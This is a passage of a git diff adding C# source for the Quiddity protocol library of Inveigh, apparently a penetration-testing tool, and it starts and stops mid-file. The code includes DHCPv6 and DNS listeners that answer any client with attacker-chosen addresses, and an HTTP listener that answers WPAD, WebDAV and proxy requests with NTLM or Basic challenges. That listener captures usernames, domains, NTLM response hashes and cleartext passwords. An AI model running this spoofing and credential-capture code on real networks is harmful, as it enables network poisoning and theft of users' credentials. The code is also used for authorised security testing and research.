+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.Clients
+{
+ class SMBClient
+ {
+ internal void Connect(string ipAddress, int port)
+ {
+ TCPClient tcpClient = new TCPClient(ipAddress, port);
+ tcpClient.Connect(ipAddress, port);
+ }
+
+ internal void Negotiate(string ipAddress, int port)
+ {
+
+ }
+
+ internal void Authenticate(string ipAddress, int port)
+ {
+
+ }
+
+ internal void SCMExecute(string ipAddress, int port)
+ {
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs b/Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs
new file mode 100644
index 0000000..f4481e1
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Clients/TCPClient.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity.Clients
+{
+ public class TCPClient : TcpClient
+ {
+ public TCPClient(string ipAddress, int port) : base(ipAddress, port)
+ {
+ this.Client.ReceiveTimeout = 60000;
+ this.ExclusiveAddressUse = false;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs
new file mode 100644
index 0000000..1626260
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DHCPv6Listener.cs
@@ -0,0 +1,184 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DHCPv6;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+
+namespace Quiddity
+{
+ public class DHCPv6Listener
+ {
+ public string DNSSuffix { get; set; }
+ public uint Lifetime { get; set; }
+ public int Prefix { get; set; }
+ public int Index { get; set; }
+
+ public DHCPv6Listener()
+ {
+ this.Index = 1;
+ this.DNSSuffix = "";
+ this.Lifetime = 300;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ public DHCPv6Listener(uint lifetime, string dnsSuffix)
+ {
+ this.Index = 1;
+ this.DNSSuffix = dnsSuffix;
+ this.Lifetime = lifetime;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ public void Start(IPAddress ipAddress, string mac, string dnsIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetworkV6);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 547);
+ listener.JoinMulticastGroup(IPAddress.Parse("ff02::1:2"));
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, mac, dnsIPv6);
+ }
+ catch (Exception ex)
+ {
+ Console.WriteLine(ex);
+ }
+
+ }
+
+ }
+
+ protected virtual void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string listenerMAC, string dnsIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ DHCPv6Packet packet = new DHCPv6Packet(data);
+
+ if (packet.Message?.MsgType == 1 || packet.Message?.MsgType == 3 || packet.Message?.MsgType == 5)
+ {
+ bool isMicrosoft = false;
+
+ if (packet.Option16?.EnterpriseNumber == 311)
+ {
+ isMicrosoft = true;
+ }
+
+ byte msgType = 0;
+ string leaseIP = "";
+
+ switch (packet.Message.MsgType)
+ {
+ case 1:
+ msgType = 2;
+
+ break;
+
+ case 3:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+
+ case 5:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+ }
+
+ DHCPv6DUIDLL duid = new DHCPv6DUIDLL(packet.Option1.DUID);
+ byte[] clientMACData = new DHCPv6DUIDLL(packet.Option1.DUID).LinkLayerAddress;
+
+ if (duid.DUIDType == 1)
+ {
+ clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress;
+ }
+
+ string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":");
+ string clientHostName = "";
+
+ if (!String.IsNullOrEmpty(packet.Option39?.DomainName))
+ {
+ clientHostName = packet.Option39.DomainName;
+ }
+
+ if (Check(clientMAC, clientHostName, listenerMAC, isMicrosoft, out string message))
+ {
+
+ if (msgType == 2)
+ {
+ leaseIP = "fe80::" + this.Prefix + ":" + this.Index;
+ this.Index++;
+ }
+
+ byte[] buffer = new DHCPv6Packet().GetBytes(msgType, leaseIP, listenerMAC, dnsIPv6, this.DNSSuffix, this.Lifetime, packet);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output(packet.Message.MsgType, leaseIP, clientIP, clientMAC, clientHostName, message);
+ }
+
+ }
+
+ public virtual bool Check(string clientMAC, string clientHostName, string listenerMAC, bool isMicrosoft, out string message)
+ {
+ message = "response sent";
+ return true;
+ }
+
+ protected virtual void SendTo(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint)
+ {
+ udpListener.Client.SendTo(data, ipEndPoint);
+ }
+
+ protected virtual void Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostName, string message)
+ {
+ }
+
+ protected virtual void OutputError(string message)
+ {
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs
new file mode 100644
index 0000000..5d0ffe1
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/DNSListener.cs
@@ -0,0 +1,168 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+using System.IO;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Quiddity
+{
+ public class DNSListener
+ {
+ public uint Serial { get; set; }
+ public uint TTL { get; set; }
+ public string Host { get; set; }
+ public ushort Priority { get; set; }
+ public ushort Weight { get; set; }
+
+ public DNSListener()
+ {
+ this.TTL = 30;
+ }
+
+ public DNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ public DNSListener(uint ttl, string host)
+ {
+ this.TTL = ttl;
+ this.Host = host;
+ this.Priority = 0;
+ this.Weight = 100;
+ }
+
+ public void Start(IPAddress ipAddress, string replyIP, string replyIPv6)
+ {
+ UDPListener listener = new UDPListener(AddressFamily.InterNetwork);
+ IPEndPoint ipEndPoint = new IPEndPoint(ipAddress, 53);
+
+ if (String.Equals(ipAddress.AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ listener = new UDPListener(AddressFamily.InterNetworkV6);
+ }
+
+ listener.Client.Bind(ipEndPoint);
+
+ while (true)
+ {
+
+ try
+ {
+ byte[] receiveBuffer = listener.Receive(ref ipEndPoint);
+ ProcessRequest(receiveBuffer, listener, ipEndPoint, replyIP, replyIPv6);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex);
+ }
+
+ }
+
+ }
+
+ protected virtual void ProcessRequest(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint, string replyIP, string replyIPv6)
+ {
+ string clientIP = ipEndPoint.Address.ToString();
+ DNSPacket packet = new DNSPacket(data)
+ {
+ Host = this.Host,
+ TTL = this.TTL
+ };
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (!packet.Header.IsDynamicUpdateRequest())
+ {
+
+ if (Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer;
+ buffer = packet.GetBytes(this.TTL, this.Serial, replyIP, replyIPv6);
+ SendTo(buffer, udpListener, ipEndPoint);
+ }
+
+ Output("DNS", clientIP, packet.Question.Name, packet.Question.Type, message);
+ }
+ else
+ {
+ byte[] flags = new byte[2] { 0xa8, 0x05 };
+ byte[] dnsPayload = new byte[data.Length - 2];
+ System.Buffer.BlockCopy(data, 2, dnsPayload, 0, dnsPayload.Length);
+ MemoryStream dnsMemoryStream = new MemoryStream();
+ dnsMemoryStream.Write(data, 0, data.Length);
+ dnsMemoryStream.Position = 2;
+ dnsMemoryStream.Write(flags, 0, 2);
+ SendTo(dnsMemoryStream.ToArray(), udpListener, ipEndPoint);
+
+ }
+
+ }
+
+ }
+
+ public virtual bool Check(string name, string type, string clientIP, out string message)
+ {
+ message = "response sent";
+ return true;
+ }
+
+ public virtual bool Check(string name, string question, string type, string clientIP, out string message)
+ {
+ message = "response sent";
+ return true;
+ }
+
+ protected virtual void SendTo(byte[] data, UDPListener udpListener, IPEndPoint ipEndPoint)
+ {
+ udpListener.Client.SendTo(data, ipEndPoint);
+ }
+
+ protected virtual void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+
+ }
+
+ protected virtual void Output(string protocol, string clientIP, string name, string question, string type, string message)
+ {
+
+ }
+
+ protected virtual void OutputError(Exception ex)
+ {
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs
new file mode 100644
index 0000000..6ff3f8b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Listeners/HTTPListener.cs
@@ -0,0 +1,530 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.HTTP;
+using Quiddity.NTLM;
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.Text;
+using System.Threading;
+using System.Security.Cryptography.X509Certificates;
+using System.Security.Authentication;
+using System.Net.Security;
+using Quiddity.Support;
+using System.Collections;
+
+namespace Quiddity
+{
+ class HTTPListener
+ {
+ public bool EnabledWebDAV { get; set; }
+ public string Cert { get; set; }
+ public string CertPassword { get; set; }
+ public string[] IgnoreAgents { get; set; }
+ public string HTTPAuth { get; set; }
+ public string WebDAVAuth { get; set; }
+ public string WPADAuth { get; set; }
+ public string HTTPRealm { get; set; }
+ public string HTTPResponse { get; set; }
+ public string WPADResponse { get; set; }
+ public string Challenge { get; set; }
+ public string NetbiosDomain { get; set; }
+ public string ComputerName { get; set; }
+ public string DNSDomain { get; set; }
+
+ public static bool isRunning = false;
+ public const SslProtocols tls12 = (SslProtocols)0x00000C00;
+ public static Hashtable httpSessionTable = Hashtable.Synchronized(new Hashtable());
+
+ public HTTPListener()
+ {
+ this.EnabledWebDAV = true;
+ this.IgnoreAgents = new string[] {"Firefox"};
+ this.HTTPAuth = "NTLM";
+ this.WebDAVAuth = "NTLM";
+ this.WPADAuth = "NTLM";
+ this.HTTPRealm = "temp";
+ this.NetbiosDomain = "temp";
+ this.ComputerName = "temp";
+ this.DNSDomain = "temp";
+ }
+
+ internal void Start(IPAddress ipAddress, int port, string type)
+ {
+ TCPListener tcpListener = new TCPListener(ipAddress, port);
+ IAsyncResult tcpAsync;
+
+ try
+ {
+ tcpListener.Start();
+ isRunning = true;
+
+ if (type.Equals("Proxy"))
+ {
+ tcpListener.Server.LingerState = new LingerOption(true, 0);
+ }
+
+ if (tcpListener.Server.IsBound)
+ {
+
+ while (isRunning)
+ {
+
+ try
+ {
+ tcpAsync = tcpListener.BeginAcceptTcpClient(null, null);
+
+ do
+ {
+ Thread.Sleep(10);
+
+ if (!isRunning)
+ {
+ break;
+ }
+
+ }
+ while (!tcpAsync.IsCompleted);
+
+ TcpClient tcpClient = tcpListener.EndAcceptTcpClient(tcpAsync);
+ object[] parameters = { tcpClient, type };
+ ThreadPool.QueueUserWorkItem(new WaitCallback(ReceiveClient), parameters);
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex, type, port);
+ }
+
+ }
+
+ }
+
+ }
+ catch (Exception ex)
+ {
+ OutputError(ex, type, port);
+ }
+
+ }
+
+ internal void ReceiveClient(object parameters)
+ {
+ object[] parameterArray = parameters as object[];
+ TcpClient tcpClient = (TcpClient)parameterArray[0];
+ string type = (string)parameterArray[1];
+ string[] supportedMethods = { "GET", "HEAD", "OPTIONS", "CONNECT", "POST", "PROPFIND" };
+ string sourceIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString();
+ string sourcePort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString();
+ string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString();
+ string session = sourceIP + ":" + sourcePort;
+ string ntlmChallenge = "";
+ int ntlmStage = 0;
+ bool proxyIgnoreMatch = false;
+ bool wpadAuthIgnoreMatch = false;
+ NetworkStream tcpStream = null;
+ NetworkStream httpStream = null;
+ SslStream httpsStream = null;
+ X509Certificate2 certificate = null;
+ bool isClientClose = false;
+
+ if (type.Equals("HTTPS"))
+ {
+ byte[] certificateData = Convert.FromBase64String(Cert);
+ certificate = new X509Certificate2(certificateData, CertPassword, X509KeyStorageFlags.MachineKeySet);
+ tcpStream = tcpClient.GetStream();
+ httpsStream = new SslStream(tcpStream, false);
+ }
+ else
+ {
+ httpStream = tcpClient.GetStream();
+ }
+
+ while (tcpClient.Connected && isRunning)
+ {
+ byte[] requestData = new byte[4096];
+
+ if (type.Equals("HTTPS"))
+ {
+
+ do
+ {
+ Thread.Sleep(100);
+ }
+ while (!tcpStream.DataAvailable && tcpClient.Connected);
+
+ }
+ else
+ {
+
+ do
+ {
+ Thread.Sleep(100); // todo check
+ }
+ while (!httpStream.DataAvailable && tcpClient.Connected);
+
+ }
+
+ if (String.Equals(type, "HTTPS"))
+ {
+
+ try
+ {
+
+ if (!httpsStream.IsAuthenticated)
+ {
+ httpsStream.AuthenticateAsServer(certificate, false, tls12, false);
+ }
+
+ while (tcpStream.DataAvailable)
+ {
+ httpsStream.Read(requestData, 0, requestData.Length);
+ }
+
+ }
+ catch (Exception ex)
+ {
+
+ if (!ex.Message.Contains("A call to SSPI failed, see inner exception.")) // todo check
+ {
+ Console.WriteLine(ex.Message);
+ }
+
+ }
+
+ }
+ else
+ {
+
+ while (httpStream.DataAvailable)
+ {
+ httpStream.Read(requestData, 0, requestData.Length);
+ }
+
+ }
+
+ HTTPRequest request = new HTTPRequest();
+
+ if (!Utilities.ArrayIsNullOrEmpty(requestData))
+ {
+ request.ReadBytes(requestData, 0);
+ }
+
+ if (!string.IsNullOrEmpty(request.Method))
+ {
+ OutputRequestMethod(type, listenerPort, sourceIP, sourcePort, request.URI, request.Method);
+ }
+
+ if (!string.IsNullOrEmpty(request.URI))
+ {
+ OutputHostHeader(type, listenerPort, sourceIP, sourcePort, request.Host);
+ }
+
+ if (!string.IsNullOrEmpty(request.UserAgent))
+ {
+ OutputUserAgent(type, listenerPort, sourceIP, sourcePort, request.UserAgent);
+ }
+
+ if (!string.IsNullOrEmpty(request.Method) && Array.Exists(supportedMethods, element => element == request.Method))
+ {
+
+ HTTPResponse response = new HTTPResponse
+ {
+ Version = "HTTP/1.1",
+ StatusCode = "401",
+ ReasonPhrase = "Unauthorized",
+ Connection = "close",
+ Server = "Microsoft-HTTPAPI/2.0",
+ Date = DateTime.Now.ToString("R"),
+ ContentType = "text/html",
+ ContentLength = "0"
+ };
+
+ if (!Utilities.ArrayIsNullOrEmpty(IgnoreAgents) && WPADAuth.Equals("NTLM"))
+ {
+
+ foreach (string agent in IgnoreAgents)
+ {
+
+ if (request.UserAgent.ToUpper().Contains(agent.ToUpper()))
+ {
+ wpadAuthIgnoreMatch = true;
+ }
+
+ }
+
+ if (wpadAuthIgnoreMatch)
+ {
+ OutputIgnore(type, listenerPort, sourceIP, sourcePort, "switching wpad.dat auth to anonymous due to user agent match"); // todo make better
+ }
+
+ }
+
+ if (type.Equals("Proxy"))
+ {
+ response.StatusCode = "407";
+ response.ProxyAuthenticate = "NTLM";
+ response.WWWAuthenticate = "";
+ response.Connection = "close";
+ }
+ else if (EnabledWebDAV && request.Method.Equals("PROPFIND") && WebDAVAuth.StartsWith("NTLM"))
+ {
+ response.WWWAuthenticate = "NTLM";
+ }
+ else if (EnabledWebDAV && request.Method.Equals("PROPFIND") && WebDAVAuth.Equals("BASIC"))
+ {
+ response.WWWAuthenticate = string.Concat("Basic realm=", HTTPRealm);
+ }
+ else if (!string.Equals(request.URI, "/wpad.dat") && string.Equals(HTTPAuth, "ANONYMOUS") || string.Equals(request.URI, "/wpad.dat") && string.Equals(WPADAuth, "ANONYMOUS") || wpadAuthIgnoreMatch ||
+ (EnabledWebDAV && request.Method.Equals("OPTIONS")))
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ }
+ else if ((HTTPAuth.StartsWith("NTLM") && !string.Equals(request.URI, "/wpad.dat")) || (WPADAuth.StartsWith("NTLM") && string.Equals(request.URI, "/wpad.dat")))
+ {
+ response.WWWAuthenticate = "NTLM";
+ }
+ else if ((string.Equals(HTTPAuth, "BASIC") && !string.Equals(request.URI, "/wpad.dat")) || (string.Equals(WPADAuth, "BASIC") && string.Equals(request.URI, "/wpad.dat")))
+ {
+ response.WWWAuthenticate = string.Concat("Basic realm=", HTTPRealm);
+ }
+
+ if ((!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("NTLM ")) || (!string.IsNullOrEmpty(request.ProxyAuthorization)) && request.ProxyAuthorization.ToUpper().StartsWith("NTLM "))
+ {
+ string authorization = request.Authorization;
+
+ if (!string.IsNullOrEmpty(request.ProxyAuthorization))
+ {
+ authorization = request.ProxyAuthorization;
+ }
+
+ NTLMNegotiate ntlm = new NTLMNegotiate();
+ ntlm.ReadBytes(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), 0);
+
+ if (ntlm.MessageType == 1)
+ {
+ byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime());
+ NTLMChallenge challenge = new NTLMChallenge(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain);
+ byte[] challengeData = challenge.GetBytes(ComputerName);
+ ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", "");
+ string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", "");
+ httpSessionTable[sessionTimestamp] = ntlmChallenge;
+ OutputChallenge(type, listenerPort, sourceIP, sourcePort, ntlmChallenge);
+
+ if (String.Equals(type, "Proxy"))
+ {
+ response.StatusCode = "407";
+ response.ProxyAuthenticate = "NTLM " + Convert.ToBase64String(challengeData);
+ }
+ else
+ {
+ response.WWWAuthenticate = "NTLM " + Convert.ToBase64String(challengeData);
+ }
+
+ response.Connection = "";
+ }
+ else if (ntlm.MessageType == 3)
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ ntlmStage = 3;
+ isClientClose = true;
+ NTLMResponse ntlmResponse = new NTLMResponse(Convert.FromBase64String(authorization.Substring(5, authorization.Length - 5)), false);
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string ntlmResponseHash = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponseHash = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+
+ if (string.IsNullOrEmpty(ntlmChallenge)) // NTLMv2 workaround to track sessions over different ports without a cookie
+ {
+
+ try
+ {
+ byte[] timestamp = new byte[8];
+ Buffer.BlockCopy(ntlmResponse.NtChallengeResponse, 24, timestamp, 0, 8);
+ string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", "");
+ ntlmChallenge = httpSessionTable[sessionTimestamp].ToString();
+ }
+ catch
+ {
+ ntlmChallenge = "";
+ }
+
+ }
+
+ OutputNTLM(type, listenerPort, sourceIP, sourcePort, user, domain, host, ntlmChallenge, ntlmResponseHash, lmResponseHash);
+
+ if (type.Equals("Proxy"))
+ {
+
+ if (!string.IsNullOrEmpty(HTTPResponse))
+ {
+ response.CacheControl = "no-cache, no-store";
+ }
+
+ }
+
+ }
+
+ }
+ else if (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC "))
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ string httpHeaderAuthorizationBase64 = request.Authorization.Substring(6, request.Authorization.Length - 6);
+ string cleartextCredentials = Encoding.UTF8.GetString(Convert.FromBase64String(httpHeaderAuthorizationBase64));
+ OutputCleartext(type, listenerPort, sourceIP, sourcePort, cleartextCredentials);
+ }
+
+ if (!string.IsNullOrEmpty(WPADResponse) && !proxyIgnoreMatch && string.Equals(request.URI, "/wpad.dat"))
+ {
+ response.ContentType = "application/x-ns-proxy-autoconfig";
+ response.Message = Encoding.UTF8.GetBytes(WPADResponse);
+ }
+ else if (!string.IsNullOrEmpty(HTTPResponse))
+ {
+ response.Message = Encoding.UTF8.GetBytes(HTTPResponse);
+ }
+
+ if (EnabledWebDAV)
+ {
+
+ if (request.Method.Equals("OPTIONS"))
+ {
+ response.StatusCode = "200";
+ response.ReasonPhrase = "OK";
+ response.Allow = "OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK";
+ response.Public = "OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK";
+ response.DAV = "1,2,3";
+ response.Author = "DAV";
+ }
+ else if (request.Method.Equals("PROPFIND"))
+ {
+ DateTime currentTime = DateTime.Now;
+ response.Message = Encoding.UTF8.GetBytes("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\">\r\n<HTML><HEAD><TITLE>Not Authorized</TITLE>\r\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD>\r\n<BODY><h2>Not Authorized</h2>\r\n<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>\r\n</BODY></HTML>\r\n");
+ response.Connection = "";
+
+ if (ntlmStage == 3 || (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) || HTTPAuth.Equals("ANONYMOUS"))
+ {
+ response.Connection = "close";
+
+ if (!request.URI.Contains("."))
+ {
+ response.ContentType = "text/xml";
